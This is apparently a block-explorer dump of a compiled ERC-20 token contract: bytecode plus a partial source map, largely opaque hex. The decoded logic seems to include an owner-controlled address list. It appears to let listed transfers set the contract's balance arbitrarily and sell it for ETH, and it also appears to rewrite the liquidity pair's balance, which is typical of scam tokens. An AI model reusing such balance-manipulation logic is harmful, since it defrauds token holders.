ffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361209c5761209b611f61565b5b600182019050919050565b60006120b282611be3565b91506120bd83611be3565b92508282039050818111156120d5576120d4611f61565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612137602583611ad4565b9150612142826120db565b604082019050919050565b600060208201905081810360008301526121668161212a565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121c9602383611ad4565b91506121d48261216d565b604082019050919050565b600060208201905081810360008301526121f8816121bc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061223d81611bb7565b92915050565b60006020828403121561225957612258611b7b565b5b60006122678482850161222e565b91505092915050565b6000819050919050565b6000819050919050565b600061229f61229a61229584612270565b61227a565b611be3565b9050919050565b6122af81612284565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6122ea81611ba5565b82525050565b60006122fc83836122e1565b60208301905092915050565b6000602082019050919050565b6000612320826122b5565b61232a81856122c0565b9350612335836122d1565b8060005b8381101561236657815161234d88826122f0565b975061235883612308565b925050600181019050612339565b5085935050505092915050565b600060a0820190506123886000830188611c8f565b61239560208301876122a6565b81810360408301526123a78186612315565b90506123b66060830185611e44565b6123c36080830184611c8f565b9695505050505050565b60006040820190506123e26000830185611e44565b6123ef6020830184611e44565b9392505050565b600061240182611be3565b915061240c83611be3565b925082820261241a81611be3565b9150828204841483151761243157612430611f61565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061247282611be3565b915061247d83611be3565b92508261248d5761248c612438565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006124f4602183611ad4565b91506124ff82612498565b604082019050919050565b60006020820190508181036000830152612523816124e7565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612560601a83611ad4565b915061256b8261252a565b602082019050919050565b6000602082019050818103600083015261258f81612553565b905091905056fea2646970667358221220d1d441e5409e1bcdb04503045e714f841ce7eebf0e4b61b584096c40cf7788c364736f6c63430008110033492077616e7420746f20737065616b20746f2074686520455448206d616e61676572

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d714610335578063a9059cbb14610365578063c62b079514610395578063c9525da1146103c5578063dd62ed3e146103e15761012c565b806370a082311461028f578063715018a6146102bf5780638da5cb5b146102c957806395d89b41146102e75780639601f96c146103055761012c565b806332424aa3116100f457806332424aa3146101eb57806339509351146102095780633eaaf86b146102395780635932ead1146102575780636e9602e6146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610411565b6040516101469190611b59565b60405180910390f35b61016960048036038101906101649190611c19565b6104a3565b6040516101769190611c74565b60405180910390f35b6101876104ba565b6040516101949190611c9e565b60405180910390f35b6101b760048036038101906101b29190611cb9565b6104c4565b6040516101c49190611c74565b60405180910390f35b6101d5610565565b6040516101e29190611c9e565b60405180910390f35b6101f361056f565b6040516102009190611c9e565b60405180910390f35b610223600480360381019061021e9190611c19565b610575565b6040516102309190611c74565b60405180910390f35b610241610613565b60405161024e9190611c9e565b60405180910390f35b610271600480360381019061026c9190611d38565b610619565b005b61028d60048036038101906102889190611dca565b6106ab565b005b6102a960048036038101906102a49190611e17565b6107c4565b6040516102b69190611c9e565b60405180910390f35b6102c761080d565b005b6102d1610940565b6040516102de9190611e53565b60405180910390f35b6102ef610969565b6040516102fc9190611b59565b60405180910390f35b61031f600480360381019061031a9190611e6e565b6109fb565b60405161032c9190611c74565b60405180910390f35b61034f600480360381019061034a9190611c19565b610a49565b60405161035c9190611c74565b60405180910390f35b61037f600480360381019061037a9190611c19565b610b70565b60405161038c9190611c74565b60405180910390f35b6103af60048036038101906103aa9190611eae565b610b87565b6040516103bc9190611c74565b60405180910390f35b6103df60048036038101906103da9190611e17565b610cde565b005b6103fb60048036038101906103f69190611e6e565b610d97565b6040516104089190611c9e565b60405180910390f35b60606009805461042090611f30565b80601f016020809104026020016040519081016040528092919081815260200182805461044c90611f30565b80156104995780601f1061046e57610100808354040283529160200191610499565b820191906000526020600020905b81548152906001019060200180831161047c57829003601f168201915b5050505050905090565b60006104b0338484610e1e565b6001905092915050565b6000600654905090565b60006104d1848484610fe7565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055a57600080fd5b600190509392505050565b6000600554905090565b60055481565b6000610609338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106049190611f90565b610e1e565b6001905092915050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16610638610940565b73ffffffffffffffffffffffffffffffffffffffff161461068e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068590612010565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166106ca610940565b73ffffffffffffffffffffffffffffffffffffffff1614610720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071790612010565b60405180910390fd5b60005b828290508110156107bf57600180600085858581811061074657610745612030565b5b905060200201602081019061075b9190611e17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107b79061205f565b915050610723565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661082c610940565b73ffffffffffffffffffffffffffffffffffffffff1614610882576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087990612010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a805461097890611f30565b80601f01602080910402602001604051908101604052809291908181526020018280546109a490611f30565b80156109f15780601f106109c6576101008083540402835291602001916109f1565b820191906000526020600020905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b6000610a068261122d565b610a11576000610a41565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ad457600080fd5b610b66338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6191906120a7565b610e1e565b6001905092915050565b6000610b7d338484610fe7565b6001905092915050565b600080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610c2e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610c4a5750600260149054906101000a900460ff16155b8015610c8257508373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610cd25783600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001915050610cd7565b809150505b9392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610cfd610940565b73ffffffffffffffffffffffffffffffffffffffff1614610d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4a90612010565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e849061214d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef3906121df565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fda9190611c9e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361102057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105957600080fd5b61106383836109fb565b15611077576110728183611283565b611228565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156110c357600080fd5b60006110d084848461154d565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111d91906120a7565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261116c91906120a7565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111ba9190611f90565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161121e9190611c9e565b60405180910390a3505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6112b030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e1e565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115611311576113106121ff565b5b60405190808252806020026020018201604052801561133f5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff021916908315150217905550308160008151811061137257611371612030565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611419573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143d9190612243565b8160018151811061145157611450612030565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426114db9190611f90565b6040518663ffffffff1660e01b81526004016114fb959493929190612373565b600060405180830381600087803b15801561151557600080fd5b505af1158015611529573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b6000806000905061155d85611607565b60036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cc85856117e5565b156115fc576115f960646115eb6007548661199590919063ffffffff16565b611a0f90919063ffffffff16565b90505b809150509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611677573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169b9190612243565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611724573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117489190612243565b6040518363ffffffff1660e01b81526004016117659291906123cd565b602060405180830381865afa158015611782573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a69190612243565b90506117dd83826117d8600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107c4565b611a6d565b915050919050565b600061198d8383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611859573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187d9190612243565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192a9190612243565b6040518363ffffffff1660e01b81526004016119479291906123cd565b602060405180830381865afa158015611964573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119889190612243565b610b87565b905092915050565b60008083036119a75760009050611a09565b600082846119b591906123f6565b90508284826119c49190612467565b14611a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fb9061250a565b60405180910390fd5b809150505b92915050565b6000808211611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a90612576565b60405180910390fd5b60008284611a619190612467565b90508091505092915050565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611aae57829050611abe565b600081611abb91906123f6565b90505b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b03578082015181840152602081019050611ae8565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b2b82611ac9565b611b358185611ad4565b9350611b45818560208601611ae5565b611b4e81611b0f565b840191505092915050565b60006020820190508181036000830152611b738184611b20565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bb082611b85565b9050919050565b611bc081611ba5565b8114611bcb57600080fd5b50565b600081359050611bdd81611bb7565b92915050565b6000819050919050565b611bf681611be3565b8114611c0157600080fd5b50565b600081359050611c1381611bed565b92915050565b60008060408385031215611c3057611c2f611b7b565b5b6000611c3e85828601611bce565b9250506020611c4f85828601611c04565b9150509250929050565b60008115159050919050565b611c6e81611c59565b82525050565b6000602082019050611c896000830184611c65565b92915050565b611c9881611be3565b82525050565b6000602082019050611cb36000830184611c8f565b92915050565b600080600060608486031215611cd257611cd1611b7b565b5b6000611ce086828701611bce565b9350506020611cf186828701611bce565b9250506040611d0286828701611c04565b9150509250925092565b611d1581611c59565b8114611d2057600080fd5b50565b600081359050611d3281611d0c565b92915050565b600060208284031215611d4e57611d4d611b7b565b5b6000611d5c84828501611d23565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611d8a57611d89611d65565b5b8235905067ffffffffffffffff811115611da757611da6611d6a565b5b602083019150836020820283011115611dc357611dc2611d6f565b5b9250929050565b60008060208385031215611de157611de0611b7b565b5b600083013567ffffffffffffffff811115611dff57611dfe611b80565b5b611e0b85828601611d74565b92509250509250929050565b600060208284031215611e2d57611e2c611b7b565b5b6000611e3b84828501611bce565b91505092915050565b611e4d81611ba5565b82525050565b6000602082019050611e686000830184611e44565b92915050565b60008060408385031215611e8557611e84611b7b565b5b6000611e9385828601611bce565b9250506020611ea485828601611bce565b9150509250929050565b600080600060608486031215611ec757611ec6611b7b565b5b6000611ed586828701611bce565b9350506020611ee686828701611bce565b9250506040611ef786828701611bce565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f4857607f821691505b602082108103611f5b57611f5a611f01565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f9b82611be3565b9150611fa683611be3565b9250828201905080821115611fbe57611fbd611f61565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ffa602083611ad4565b915061200582611fc4565b602082019050919050565b6000602082019050818103600083015261202981611fed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061206a82611be3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361209c5761209b611f61565b5b600182019050919050565b60006120b282611be3565b91506120bd83611be3565b92508282039050818111156120d5576120d4611f61565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612137602583611ad4565b9150612142826120db565b604082019050919050565b600060208201905081810360008301526121668161212a565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121c9602383611ad4565b91506121d48261216d565b604082019050919050565b600060208201905081810360008301526121f8816121bc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061223d81611bb7565b92915050565b60006020828403121561225957612258611b7b565b5b60006122678482850161222e565b91505092915050565b6000819050919050565b6000819050919050565b600061229f61229a61229584612270565b61227a565b611be3565b9050919050565b6122af81612284565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6122ea81611ba5565b82525050565b60006122fc83836122e1565b60208301905092915050565b6000602082019050919050565b6000612320826122b5565b61232a81856122c0565b9350612335836122d1565b8060005b8381101561236657815161234d88826122f0565b975061235883612308565b925050600181019050612339565b5085935050505092915050565b600060a0820190506123886000830188611c8f565b61239560208301876122a6565b81810360408301526123a78186612315565b90506123b66060830185611e44565b6123c36080830184611c8f565b9695505050505050565b60006040820190506123e26000830185611e44565b6123ef6020830184611e44565b9392505050565b600061240182611be3565b915061240c83611be3565b925082820261241a81611be3565b9150828204841483151761243157612430611f61565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061247282611be3565b915061247d83611be3565b92508261248d5761248c612438565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006124f4602183611ad4565b91506124ff82612498565b604082019050919050565b60006020820190508181036000830152612523816124e7565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612560601a83611ad4565b915061256b8261252a565b602082019050919050565b6000602082019050818103600083015261258f81612553565b905091905056fea2646970667358221220d1d441e5409e1bcdb04503045e714f841ce7eebf0e4b61b584096c40cf7788c364736f6c63430008110033

Deployed Bytecode Sourcemap

3501:5240:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5902:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6344:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6139:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8077:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6060:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3707:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4196:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3742:59;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8526:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2760:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6233:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2466:148;;;:::i;:::-;;2249:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5979:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3040:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4413:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7898:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3220:274;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8639:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4039:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5902:71;5941:13;5965:5;5958:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5902:71;:::o;6344:167::-;6427:4;6444:37;6453:10;6465:7;6474:6;6444:8;:37::i;:::-;6499:4;6492:11;;6344:167;;;;:::o;6139:88::-;6194:7;6212:12;;6205:19;;6139:88;:::o;8077:244::-;8181:4;8198:34;8208:4;8214:9;8225:6;8198:9;:34::i;:::-;8284:6;8251:11;:17;8263:4;8251:17;;;;;;;;;;;;;;;:29;8269:10;8251:29;;;;;;;;;;;;;;;;:39;;8243:48;;;;;;8309:4;8302:11;;8077:244;;;;;:::o;6060:73::-;6103:7;6121:9;;6114:16;;6060:73;:::o;3707:28::-;;;;:::o;4196:211::-;4284:4;4301:76;4310:10;4322:7;4366:10;4331:11;:23;4343:10;4331:23;;;;;;;;;;;;;;;:32;4355:7;4331:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;4301:8;:76::i;:::-;4395:4;4388:11;;4196:211;;;;:::o;3742:59::-;;;;:::o;8526:107::-;2393:10;2382:21;;:7;:5;:7::i;:::-;:21;;;2374:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;8617:8:::1;8599:15;;:26;;;;;;;;;;;;;;;;;;8526:107:::0;:::o;2760:174::-;2393:10;2382:21;;:7;:5;:7::i;:::-;:21;;;2374:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2844:6:::1;2839:88;2860:5;;:12;;2856:1;:16;2839:88;;;2911:4;2894::::0;:14:::1;2899:5;;2905:1;2899:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;2894:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;2874:3;;;;;:::i;:::-;;;;2839:88;;;;2760:174:::0;;:::o;6233:105::-;6299:7;6317:9;:18;6327:7;6317:18;;;;;;;;;;;;;;;;6310:25;;6233:105;;;:::o;2466:148::-;2393:10;2382:21;;:7;:5;:7::i;:::-;:21;;;2374:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2573:1:::1;2536:40;;2557:6;::::0;::::1;;;;;;;;2536:40;;;;;;;;;;;;2604:1;2587:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2466:148::o:0;2249:87::-;2295:7;2322:6;;;;;;;;;;;2315:13;;2249:87;:::o;5979:75::-;6020:13;6044:7;6037:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5979:75;:::o;3040:174::-;3123:4;3147:20;3153:13;3147:5;:20::i;:::-;:59;;3201:5;3147:59;;;3184:13;3171:26;;:9;:26;;;3147:59;3140:66;;3040:174;;;;:::o;4413:253::-;4494:4;4552:6;4519:11;:23;4531:10;4519:23;;;;;;;;;;;;;;;:29;4543:4;4519:29;;;;;;;;;;;;;;;;:39;;4511:48;;;;;;4570:66;4579:10;4591:4;4629:6;4597:11;:23;4609:10;4597:23;;;;;;;;;;;;;;;:29;4621:4;4597:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;4570:8;:66::i;:::-;4654:4;4647:11;;4413:253;;;;:::o;7898:173::-;7984:4;8001:40;8011:10;8023:9;8034:6;8001:9;:40::i;:::-;8059:4;8052:11;;7898:173;;;;:::o;3220:274::-;3295:4;3312:8;3324:4;:8;3329:2;3324:8;;;;;;;;;;;;;;;;;;;;;;;;;3323:9;:24;;;;;3337:4;:10;3342:4;3337:10;;;;;;;;;;;;;;;;;;;;;;;;;3336:11;3323:24;3312:35;;3362:3;:21;;;;;3370:13;;;;;;;;;;;3369:14;3362:21;:35;;;;;3395:2;3387:10;;:4;:10;;;;3362:35;3358:108;;;3426:2;3414:9;;:14;;;;;;;;;;;;;;;;;;3450:4;3443:11;;;;;3358:108;3483:3;3476:10;;;3220:274;;;;;;:::o;8639:99::-;2393:10;2382:21;;:7;:5;:7::i;:::-;:21;;;2374:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;8722:8:::1;8710:9;;:20;;;;;;;;;;;;;;;;;;8639:99:::0;:::o;4039:151::-;4128:7;4155:11;:18;4167:5;4155:18;;;;;;;;;;;;;;;:27;4174:7;4155:27;;;;;;;;;;;;;;;;4148:34;;4039:151;;;;:::o;6517:346::-;6636:1;6619:19;;:5;:19;;;6611:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6718:1;6699:21;;:7;:21;;;6691:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6801:6;6771:11;:18;6783:5;6771:18;;;;;;;;;;;;;;;:27;6790:7;6771:27;;;;;;;;;;;;;;;:36;;;;6839:7;6823:32;;6832:5;6823:32;;;6848:6;6823:32;;;;;;:::i;:::-;;;;;;;;6517:346;;;:::o;4672:533::-;4785:1;4769:18;;:4;:18;;;4761:27;;;;;;4821:1;4807:16;;:2;:16;;;4799:25;;;;;;4839:20;4850:4;4856:2;4839:10;:20::i;:::-;4835:363;;;4876:16;4881:6;4889:2;4876:4;:16::i;:::-;4835:363;;;4943:9;:15;4953:4;4943:15;;;;;;;;;;;;;;;;4933:6;:25;;4925:34;;;;;;4974:24;5001:25;5009:4;5015:2;5019:6;5001:7;:25::i;:::-;4974:52;;5077:6;5059:9;:15;5069:4;5059:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;5041:9;:15;5051:4;5041:15;;;;;;;;;;;;;;;:42;;;;5124:16;5115:6;:25;;;;:::i;:::-;5098:9;:13;5108:2;5098:13;;;;;;;;;;;;;;;;:42;;;;;;;:::i;:::-;;;;;;;;5175:2;5160:26;;5169:4;5160:26;;;5179:6;5160:26;;;;;;:::i;:::-;;;;;;;;4910:288;4835:363;4672:533;;;:::o;2940:94::-;2992:4;3016;:10;3021:4;3016:10;;;;;;;;;;;;;;;;;;;;;;;;;3009:17;;2940:94;;;:::o;6869:449::-;6930:47;6947:4;6962:7;;;;;;;;;;;6972:4;6930:8;:47::i;:::-;7015:4;6988:9;:24;7006:4;6988:24;;;;;;;;;;;;;;;:31;;;;7030:21;7068:1;7054:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7030:40;;7097:4;7081:13;;:20;;;;;;;;;;;;;;;;;;7130:4;7112;7117:1;7112:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7156:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7146:4;7151:1;7146:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;7181:7;;;;;;;;;;;:58;;;7240:4;7245:1;7247:4;7252;7275:2;7257:15;:20;;;;:::i;:::-;7181:97;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7305:5;7289:13;;:21;;;;;;;;;;;;;;;;;;6919:399;6869:449;;:::o;5211:325::-;5294:7;5314:17;5334:1;5314:21;;5369:22;5386:4;5369:16;:22::i;:::-;5346:9;:20;5356:9;;;;;;;;;;;5346:20;;;;;;;;;;;;;;;:45;;;;5406:30;5420:4;5426:9;5406:13;:30::i;:::-;5402:100;;;5465:25;5486:3;5465:16;5476:4;;5465:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;5453:37;;5402:100;5519:9;5512:16;;;5211:325;;;;;:::o;7324:244::-;7386:7;7406:10;7437:7;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7419:44;;;7472:4;7479:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;